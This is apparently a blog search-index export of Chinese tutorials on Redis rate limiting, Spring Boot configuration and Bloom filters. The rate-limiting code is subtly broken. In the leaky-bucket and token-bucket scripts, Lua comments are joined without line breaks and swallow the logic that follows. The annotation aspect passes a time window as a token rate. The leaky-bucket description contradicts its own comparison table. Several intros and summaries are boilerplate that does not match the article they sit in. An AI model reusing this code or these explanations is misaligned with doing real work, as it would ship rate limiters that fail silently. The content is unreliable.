class="line">统计00:00:05到00:01:05的请求 = 4个</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-ZSet实现"><a href="#2-2-ZSet实现" class="headerlink" title="2.2 ZSet实现"></a>2.2 ZSet实现</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SlidingWindowRateLimiter</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 滑动窗口限流</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isAllowed</span><span class="params">(String key, <span class="type">int</span> limit, <span class="type">int</span> windowMs)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">redisKey</span> <span class="operator">=</span> <span class="string">&quot;rate:sliding:&quot;</span> + key;</span><br><span class="line">        <span class="type">long</span> <span class="variable">now</span> <span class="operator">=</span> System.currentTimeMillis();</span><br><span class="line">        <span class="type">long</span> <span class="variable">windowStart</span> <span class="operator">=</span> now - windowMs;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 移除窗口外的请求记录</span></span><br><span class="line">        redis.opsForZSet().removeRangeByScore(redisKey, <span class="number">0</span>, windowStart);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 获取当前窗口内的请求数</span></span><br><span class="line">        <span class="type">Long</span> <span class="variable">count</span> <span class="operator">=</span> redis.opsForZSet().zCard(redisKey);</span><br><span class="line">        <span class="keyword">if</span> (count != <span class="literal">null</span> &amp;&amp; count &gt;= limit) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 记录本次请求（使用雪花ID或UUID保证member唯一）</span></span><br><span class="line">        redis.opsForZSet().add(redisKey, now + <span class="string">&quot;:&quot;</span> + ThreadLocalRandom.current().nextInt(<span class="number">100000</span>), now);</span><br><span class="line">        redis.expire(redisKey, windowMs / <span class="number">1000</span> + <span class="number">1</span>, TimeUnit.SECONDS);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-3-Lua原子实现"><a href="#2-3-Lua原子实现" class="headerlink" title="2.3 Lua原子实现"></a>2.3 Lua原子实现</h2><figure class="highlight lua"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 滑动窗口限流</span></span><br><span class="line"><span class="keyword">local</span> key = KEYS[<span class="number">1</span>]</span><br><span class="line"><span class="keyword">local</span> limit = <span class="built_in">tonumber</span>(ARGV[<span class="number">1</span>])</span><br><span class="line"><span class="keyword">local</span> now = <span class="built_in">tonumber</span>(ARGV[<span class="number">2</span>])</span><br><span class="line"><span class="keyword">local</span> window = <span class="built_in">tonumber</span>(ARGV[<span class="number">3</span>])</span><br><span class="line"><span class="keyword">local</span> windowStart = now - window</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 移除窗口外的记录</span></span><br><span class="line">redis.call(<span class="string">&#x27;zremrangebyscore&#x27;</span>, key, <span class="number">0</span>, windowStart)</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 获取当前窗口内记录数</span></span><br><span class="line"><span class="keyword">local</span> count = redis.call(<span class="string">&#x27;zcard&#x27;</span>, key)</span><br><span class="line"><span class="keyword">if</span> count &gt;= limit <span class="keyword">then</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line"><span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 添加记录</span></span><br><span class="line">redis.call(<span class="string">&#x27;zadd&#x27;</span>, key, now, ARGV[<span class="number">4</span>])</span><br><span class="line">redis.call(<span class="string">&#x27;expire&#x27;</span>, key, <span class="built_in">math</span>.<span class="built_in">ceil</span>(window / <span class="number">1000</span>) + <span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span></span><br></pre></td></tr></table></figure><h2 id="三、漏桶算法"><a href="#三、漏桶算法" class="headerlink" title="三、漏桶算法"></a>三、漏桶算法</h2><p>#</p><h2 id="3-1-原理"><a href="#3-1-原理" class="headerlink" title="3.1 原理"></a>3.1 原理</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">请求先进入漏桶（队列），以固定速率流出处理</span><br><span class="line"></span><br><span class="line">    请求流入</span><br><span class="line">       │</span><br><span class="line">       ▼</span><br><span class="line">   ┌─────────┐</span><br><span class="line">   │ 漏桶    │  ← 容量有限，满了则溢出（限流）</span><br><span class="line">   │ (队列)  │</span><br><span class="line">   └────┬────┘</span><br><span class="line">        │ 固定速率流出</span><br><span class="line">        ▼</span><br><span class="line">      处理</span><br><span class="line"></span><br><span class="line">特点：</span><br><span class="line">- 流出速率固定（平滑流量）</span><br><span class="line">- 桶满时新请求被拒绝</span><br><span class="line">- 可以应对突发流量</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-Redis实现"><a href="#3-2-Redis实现" class="headerlink" title="3.2 Redis实现"></a>3.2 Redis实现</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LeakyBucketRateLimiter</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 漏桶限流</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> key 限流key</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> capacity 桶容量</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> ratePerSecond 每秒流出速率</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isAllowed</span><span class="params">(String key, <span class="type">int</span> capacity, <span class="type">int</span> ratePerSecond)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">redisKey</span> <span class="operator">=</span> <span class="string">&quot;rate:leaky:&quot;</span> + key;</span><br><span class="line">        </span><br><span class="line">        <span class="type">String</span> <span class="variable">luaScript</span> <span class="operator">=</span> </span><br><span class="line">            <span class="string">&quot;local key = KEYS[1] &quot;</span> +</span><br><span class="line">            <span class="string">&quot;local capacity = tonumber(ARGV[1]) &quot;</span> +</span><br><span class="line">            <span class="string">&quot;local rate = tonumber(ARGV[2]) &quot;</span> +</span><br><span class="line">            <span class="string">&quot;local now = tonumber(ARGV[3]) &quot;</span> +</span><br><span class="line">            <span class="string">&quot;local requested = tonumber(ARGV[4]) &quot;</span> +</span><br><span class="line">            <span class="string">&quot;\n&quot;</span> +</span><br><span class="line">            <span class="string">&quot;local bucket = redis.call(&#x27;hmget&#x27;, key, &#x27;water&#x27;, &#x27;lastTime&#x27;) &quot;</span> +</span><br><span class="line">            <span class="string">&quot;local water = tonumber(bucket[1]) or 0 &quot;</span> +</span><br><span class="line">            <span class="string">&quot;local lastTime = tonumber(bucket[2]) or now &quot;</span> +</span><br><span class="line">            <span class="string">&quot;\n&quot;</span> +</span><br><span class="line">            <span class="string">&quot;-- 计算流出的水量 &quot;</span> +</span><br><span class="line">            <span class="string">&quot;local leak = math.floor((now - lastTime) * rate / 1000) &quot;</span> +</span><br><span class="line">            <span class="string">&quot;water = math.max(0, water - leak) &quot;</span> +</span><br><span class="line">            <span class="string">&quot;\n&quot;</span> +</span><br><span class="line">            <span class="string">&quot;-- 检查是否溢出 &quot;</span> +</span><br><span class="line">            <span class="string">&quot;if water + requested &lt;= capacity then &quot;</span> +</span><br><span class="line">            <span class="string">&quot;    water = water + requested &quot;</span> +</span><br><span class="line">            <span class="string">&quot;    redis.call(&#x27;hmset&#x27;, key, &#x27;water&#x27;, water, &#x27;lastTime&#x27;, now) &quot;</span> +</span><br><span class="line">            <span class="string">&quot;    redis.call(&#x27;expire&#x27;, key, 60) &quot;</span> +</span><br><span class="line">            <span class="string">&quot;    return 1 &quot;</span> +</span><br><span class="line">            <span class="string">&quot;else &quot;</span> +</span><br><span class="line">            <span class="string">&quot;    redis.call(&#x27;hmset&#x27;, key, &#x27;water&#x27;, water, &#x27;lastTime&#x27;, now) &quot;</span> +</span><br><span class="line">            <span class="string">&quot;    redis.call(&#x27;expire&#x27;, key, 60) &quot;</span> +</span><br><span class="line">            <span class="string">&quot;    return 0 &quot;</span> +</span><br><span class="line">            <span class="string">&quot;end&quot;</span>;</span><br><span class="line">        </span><br><span class="line">        DefaultRedisScript&lt;Long&gt; script = <span class="keyword">new</span> <span class="title class_">DefaultRedisScript</span>&lt;&gt;(luaScript, Long.class);</span><br><span class="line">        <span class="type">Long</span> <span class="variable">result</span> <span class="operator">=</span> redis.execute(script, Collections.singletonList(redisKey),</span><br><span class="line">            String.valueOf(capacity),</span><br><span class="line">            String.valueOf(ratePerSecond),</span><br><span class="line">            String.valueOf(System.currentTimeMillis()),</span><br><span class="line">            <span class="string">&quot;1&quot;</span></span><br><span class="line">        );</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> result != <span class="literal">null</span> &amp;&amp; result == <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="四、令牌桶算法"><a href="#四、令牌桶算法" class="headerlink" title="四、令牌桶算法"></a>四、令牌桶算法</h2><p>#</p><h2 id="4-1-原理"><a href="#4-1-原理" class="headerlink" title="4.1 原理"></a>4.1 原理</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">以固定速率往桶里放令牌，请求需要获取令牌才能执行</span><br><span class="line"></span><br><span class="line">    令牌放入</span><br><span class="line">       │ 固定速率</span><br><span class="line">       ▼</span><br><span class="line">   ┌─────────┐</span><br><span class="line">   │ 令牌桶  │  ← 容量有限，满了不再放入</span><br><span class="line">   │         │</span><br><span class="line">   └────┬────┘</span><br><span class="line">        │</span><br><span class="line">   请求获取令牌</span><br><span class="line">        │</span><br><span class="line">        ├── 有令牌 → 执行</span><br><span class="line">        └── 无令牌 → 限流</span><br><span class="line"></span><br><span class="line">特点：</span><br><span class="line">- 可以应对一定突发流量（桶内有累积令牌）</span><br><span class="line">- 长期速率固定</span><br><span class="line">- 最灵活的限流算法</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-Redis实现"><a href="#4-2-Redis实现" class="headerlink" title="4.2 Redis实现"></a>4.2 Redis实现</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TokenBucketRateLimiter</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 令牌桶限流</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> key 限流key</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> capacity 桶容量</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> ratePerSecond 每秒放入令牌数</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isAllowed</span><span class="params">(String key, <span class="type">int</span> capacity, <span class="type">int</span> ratePerSecond)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">redisKey</span> <span class="operator">=</span> <span class="string">&quot;rate:token:&quot;</span> + key;</span><br><span class="line">        </span><br><span class="line">        <span class="type">String</span> <span class="variable">luaScript</span> <span class="operator">=</span> </span><br><span class="line">            <span class="string">&quot;local key = KEYS[1] &quot;</span> +</span><br><span class="line">            <span class="string">&quot;local capacity = tonumber(ARGV[1]) &quot;</span> +</span><br><span class="line">            <span class="string">&quot;local rate = tonumber(ARGV[2]) &quot;</span> +</span><br><span class="line">            <span class="string">&quot;local now = tonumber(ARGV[3]) &quot;</span> +</span><br><span class="line">            <span class="string">&quot;local requested = tonumber(ARGV[4]) &quot;</span> +</span><br><span class="line">            <span class="string">&quot;\n&quot;</span> +</span><br><span class="line">            <span class="string">&quot;local bucket = redis.call(&#x27;hmget&#x27;, key, &#x27;tokens&#x27;, &#x27;lastTime&#x27;) &quot;</span> +</span><br><span class="line">            <span class="string">&quot;local tokens = tonumber(bucket[1]) or capacity &quot;</span> +</span><br><span class="line">            <span class="string">&quot;local lastTime = tonumber(bucket[2]) or now &quot;</span> +</span><br><span class="line">            <span class="string">&quot;\n&quot;</span> +</span><br><span class="line">            <span class="string">&quot;-- 计算新增的令牌 &quot;</span> +</span><br><span class="line">            <span class="string">&quot;local delta = math.max(0, (now - lastTime) * rate / 1000) &quot;</span> +</span><br><span class="line">            <span class="string">&quot;tokens = math.min(capacity, tokens + delta) &quot;</span> +</span><br><span class="line">            <span class="string">&quot;\n&quot;</span> +</span><br><span class="line">            <span class="string">&quot;-- 检查是否有足够令牌 &quot;</span> +</span><br><span class="line">            <span class="string">&quot;if tokens &gt;= requested then &quot;</span> +</span><br><span class="line">            <span class="string">&quot;    tokens = tokens - requested &quot;</span> +</span><br><span class="line">            <span class="string">&quot;    redis.call(&#x27;hmset&#x27;, key, &#x27;tokens&#x27;, tokens, &#x27;lastTime&#x27;, now) &quot;</span> +</span><br><span class="line">            <span class="string">&quot;    redis.call(&#x27;expire&#x27;, key, 60) &quot;</span> +</span><br><span class="line">            <span class="string">&quot;    return 1 &quot;</span> +</span><br><span class="line">            <span class="string">&quot;else &quot;</span> +</span><br><span class="line">            <span class="string">&quot;    redis.call(&#x27;hmset&#x27;, key, &#x27;tokens&#x27;, tokens, &#x27;lastTime&#x27;, now) &quot;</span> +</span><br><span class="line">            <span class="string">&quot;    redis.call(&#x27;expire&#x27;, key, 60) &quot;</span> +</span><br><span class="line">            <span class="string">&quot;    return 0 &quot;</span> +</span><br><span class="line">            <span class="string">&quot;end&quot;</span>;</span><br><span class="line">        </span><br><span class="line">        DefaultRedisScript&lt;Long&gt; script = <span class="keyword">new</span> <span class="title class_">DefaultRedisScript</span>&lt;&gt;(luaScript, Long.class);</span><br><span class="line">        <span class="type">Long</span> <span class="variable">result</span> <span class="operator">=</span> redis.execute(script, Collections.singletonList(redisKey),</span><br><span class="line">            String.valueOf(capacity),</span><br><span class="line">            String.valueOf(ratePerSecond),</span><br><span class="line">            String.valueOf(System.currentTimeMillis()),</span><br><span class="line">            <span class="string">&quot;1&quot;</span></span><br><span class="line">        );</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> result != <span class="literal">null</span> &amp;&amp; result == <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、算法对比"><a href="#五、算法对比" class="headerlink" title="五、算法对比"></a>五、算法对比</h2><table><thead><tr><th>算法</th><th>优点</th><th>缺点</th><th>适用场景</th></tr></thead><tbody><tr><td>计数器</td><td>简单，内存小</td><td>临界问题</td><td>简单限流</td></tr><tr><td>滑动窗口</td><td>精确，无临界问题</td><td>内存占用大</td><td>精确限流</td></tr><tr><td>漏桶</td><td>平滑流量</td><td>无法应对突发</td><td>流量整形</td></tr><tr><td>令牌桶</td><td>允许突发，灵活</td><td>实现复杂</td><td>通用限流</td></tr></tbody></table><h2 id="六、Spring-Boot整合"><a href="#六、Spring-Boot整合" class="headerlink" title="六、Spring Boot整合"></a>六、Spring Boot整合</h2><p>#</p><h2 id="6-1-AOP限流"><a href="#6-1-AOP限流" class="headerlink" title="6.1 AOP限流"></a>6.1 AOP限流</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Target(ElementType.METHOD)</span></span><br><span class="line"><span class="meta">@Retention(RetentionPolicy.RUNTIME)</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@interface</span> RateLimit &#123;</span><br><span class="line">    String <span class="title function_">key</span><span class="params">()</span> <span class="keyword">default</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line">    <span class="type">int</span> <span class="title function_">limit</span><span class="params">()</span> <span class="keyword">default</span> <span class="number">100</span>;</span><br><span class="line">    <span class="type">int</span> <span class="title function_">window</span><span class="params">()</span> <span class="keyword">default</span> <span class="number">60</span>;</span><br><span class="line">    String <span class="title function_">message</span><span class="params">()</span> <span class="keyword">default</span> <span class="string">&quot;请求过于频繁，请稍后再试&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Aspect</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RateLimitAspect</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> TokenBucketRateLimiter rateLimiter;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Around(&quot;@annotation(rateLimit)&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">around</span><span class="params">(ProceedingJoinPoint point, RateLimit rateLimit)</span> <span class="keyword">throws</span> Throwable &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> rateLimit.key();</span><br><span class="line">        <span class="keyword">if</span> (key.isEmpty()) &#123;</span><br><span class="line">            key = point.getSignature().toShortString();</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 可以加入用户ID等维度</span></span><br><span class="line">        Object[] args = point.getArgs();</span><br><span class="line">        <span class="keyword">if</span> (args.length &gt; <span class="number">0</span> &amp;&amp; args[<span class="number">0</span>] <span class="keyword">instanceof</span> String) &#123;</span><br><span class="line">            key = key + <span class="string">&quot;:&quot;</span> + args[<span class="number">0</span>];</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="type">boolean</span> <span class="variable">allowed</span> <span class="operator">=</span> rateLimiter.isAllowed(key, rateLimit.limit(), rateLimit.window());</span><br><span class="line">        <span class="keyword">if</span> (!allowed) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RateLimitException</span>(rateLimit.message());</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> point.proceed();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-使用注解"><a href="#6-2-使用注解" class="headerlink" title="6.2 使用注解"></a>6.2 使用注解</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ApiController</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@RateLimit(key = &quot;api:order&quot;, limit = 10, window = 60)</span></span><br><span class="line">    <span class="meta">@PostMapping(&quot;/order&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Response <span class="title function_">createOrder</span><span class="params">(<span class="meta">@RequestBody</span> OrderRequest request)</span> &#123;</span><br><span class="line">        <span class="comment">// 创建订单</span></span><br><span class="line">        <span class="keyword">return</span> Response.success();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@RateLimit(key = &quot;api:query&quot;, limit = 100, window = 60)</span></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/products&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;Product&gt; <span class="title function_">listProducts</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 查询商品</span></span><br><span class="line">        <span class="keyword">return</span> productService.list();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-3-全局异常处理"><a href="#6-3-全局异常处理" class="headerlink" title="6.3 全局异常处理"></a>6.3 全局异常处理</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestControllerAdvice</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">GlobalExceptionHandler</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@ExceptionHandler(RateLimitException.class)</span></span><br><span class="line">    <span class="keyword">public</span> ResponseEntity&lt;ErrorResponse&gt; <span class="title function_">handleRateLimit</span><span class="params">(RateLimitException e)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> ResponseEntity.status(<span class="number">429</span>)</span><br><span class="line">            .body(<span class="keyword">new</span> <span class="title class_">ErrorResponse</span>(<span class="number">429</span>, e.getMessage()));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="七、多级限流"><a href="#七、多级限流" class="headerlink" title="七、多级限流"></a>七、多级限流</h2><p>#</p><h2 id="7-1-分层限流"><a href="#7-1-分层限流" class="headerlink" title="7.1 分层限流"></a>7.1 分层限流</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MultiLevelRateLimiter</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> TokenBucketRateLimiter tokenBucket;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isAllowed</span><span class="params">(String userId, String api)</span> &#123;</span><br><span class="line">        <span class="comment">// L1: 全局限流（保护系统）</span></span><br><span class="line">        <span class="keyword">if</span> (!tokenBucket.isAllowed(<span class="string">&quot;global:&quot;</span> + api, <span class="number">10000</span>, <span class="number">1000</span>)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// L2: API限流（保护单个API）</span></span><br><span class="line">        <span class="keyword">if</span> (!tokenBucket.isAllowed(<span class="string">&quot;api:&quot;</span> + api, <span class="number">1000</span>, <span class="number">100</span>)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// L3: 用户限流（防止单个用户刷接口）</span></span><br><span class="line">        <span class="keyword">if</span> (!tokenBucket.isAllowed(<span class="string">&quot;user:&quot;</span> + userId + <span class="string">&quot;:&quot;</span> + api, <span class="number">10</span>, <span class="number">1</span>)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="八、总结"><a href="#八、总结" class="headerlink" title="八、总结"></a>八、总结</h2><table><thead><tr><th>实现方式</th><th>复杂度</th><th>精度</th><th>推荐场景</th></tr></thead><tbody><tr><td>计数器</td><td>低</td><td>低</td><td>简单接口保护</td></tr><tr><td>滑动窗口</td><td>中</td><td>高</td><td>精确限流</td></tr><tr><td>漏桶</td><td>中</td><td>中</td><td>流量整形</td></tr><tr><td>令牌桶</td><td>中</td><td>高</td><td>通用限流（推荐）</td></tr></tbody></table><p>限流设计的核心原则：</p><ol><li><strong>多层防护</strong>：网关层、应用层、接口层逐级限流</li><li><strong>粒度合理</strong>：按用户、IP、接口多维度限流</li><li><strong>降级友好</strong>：限流时返回友好提示</li><li><strong>监控告警</strong>：及时发现异常流量</li><li><strong>动态调整</strong>：支持动态修改限流阈值</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 日志配置和链路排查</title>
      <link href="//spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/"/>
      <url>//spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-日志配置和链路排查"><a href="#Spring-Boot-日志配置和链路排查" class="headerlink" title="Spring Boot 日志配置和链路排查"></a>Spring Boot 日志配置和链路排查</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis布隆过滤器应用</title>
      <link href="//redis-bloom-filter-application/"/>
      <url>//redis-bloom-filter-application/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis布隆过滤器应用"><a href="#Redis布隆过滤器应用" class="headerlink" title="Redis布隆过滤器应用"></a>Redis布隆过滤器应用</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、布隆过滤器原理"><a href="#一、布隆过滤器原理" class="headerlink" title="一、布隆过滤器原理"></a>一、布隆过滤器原理</h2><p>#</p><h2 id="1-1-基本结构"><a href="#1-1-基本结构" class="headerlink" title="1.1 基本结构"></a>1.1 基本结构</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">布隆过滤器由两部分组成：</span><br><span class="line">1. 一个长度为m的bit数组（初始全为0）</span><br><span class="line">2. k个独立的哈希函数</span><br><span class="line"></span><br><span class="line">初始状态：</span><br><span class="line">┌───┬───┬───┬───┬───┬───┬───┬───┐</span><br><span class="line">│ 0 │ 0 │ 0 │ 0 │ 0 │ 0 │ 0 │ 0 │</span><br><span class="line">└───┴───┴───┴───┴───┴───┴───┴───┘</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-添加元素"><a href="#1-2-添加元素" class="headerlink" title="1.2 添加元素"></a>1.2 添加元素</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">添加&quot;Alice&quot;：</span><br><span class="line">1. 用k个哈希函数计算：h1(&quot;Alice&quot;)=2, h2(&quot;Alice&quot;)=5</span><br><span class="line">2. 将bit数组对应位置设为1</span><br><span class="line"></span><br><span class="line">┌───┬───┬───┬───┬───┬───┬───┬───┐</span><br><span class="line">│ 0 │ 